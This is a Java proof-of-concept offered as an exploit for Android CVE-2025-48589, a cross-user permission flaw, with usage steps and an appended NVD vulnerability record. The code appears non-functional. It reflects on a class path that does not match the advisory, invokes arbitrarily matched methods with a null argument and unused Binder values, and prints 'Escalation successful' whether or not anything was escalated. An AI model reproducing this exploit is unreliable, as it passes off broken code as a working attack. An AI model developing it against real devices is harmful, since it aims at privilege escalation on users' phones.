CVE-2025-48589

// CVE-2025-48589 PoC - Android HeaderPrivacyIconsController Permission Escalation // This PoC demonstrates the logic error in HeaderPrivacyIconsController.kt // that allows cross-user permission granting package com.poc.cve202548589; import android.content.Context; import android.os.Binder; import android.os.IBinder; import android.os.UserHandle; import android.os.UserManager; import java.lang.reflect.Method; public class PermissionEscalationPOC { private static final int TARGET_USER_ID = 0; // Target system user public static void exploit(Context context) throws Exception { // Get HeaderPrivacyIconsController via reflection Class<?> headerPrivacyClass = Class.forName( "com.android.internal.app.HeaderPrivacyIconsController" ); // Get the problematic method that lacks proper user validation Method[] methods = headerPrivacyClass.getDeclaredMethods(); for (Method method : methods) { // Check for methods that handle permission state changes if (method.getName().contains("setIconVisibility") || method.getName().contains("updatePrivacyIcon")) { method.setAccessible(true); // Bypass user validation by manipulating Binder identity long callingUid = Binder.getCallingUid(); long callingPid = Binder.getCallingPid(); // Inject malicious user context UserHandle targetUser = UserHandle.of(TARGET_USER_ID); // Trigger the vulnerable code path // The logic error allows this call to succeed despite // insufficient permissions for cross-user operations try { Object controller = headerPrivacyClass.newInstance(); // Invoke vulnerable method with target user context // This should fail but succeeds due to logic error method.invoke(controller, getPrivacyIndicatorForUser(targetUser), true, // Enable permission indicator targetUser ); System.out.println("[+] Permission granted for user " + TARGET_USER_ID); System.out.println("[+] Escalation successful - permissions obtained"); } catch (Exception e) { System.out.println("[-] Exploitation failed: " + e.getMessage()); } } } } private static Object getPrivacyIndicatorForUser(UserHandle user) { // Return privacy indicator object for target user // Implementation depends on specific Android version return null; } } // Usage: // 1. Compile with Android SDK // 2. Install on device with ADB // 3. Execute via app with minimal privileges // 4. Check granted permissions via dumpsys // Verification: // $ adb shell dumpsys permissionmgr permissions | grep <target_permission>

{"cve": {"id": "CVE-2025-48589", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:16.050", "lastModified": "2025-12-10T19:43:36.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple functions of HeaderPrivacyIconsController.kt, there is a possible way to grand permissions across user due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/2aeba76a58c18f66502ecbba4c2e73a8d6e2928c", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}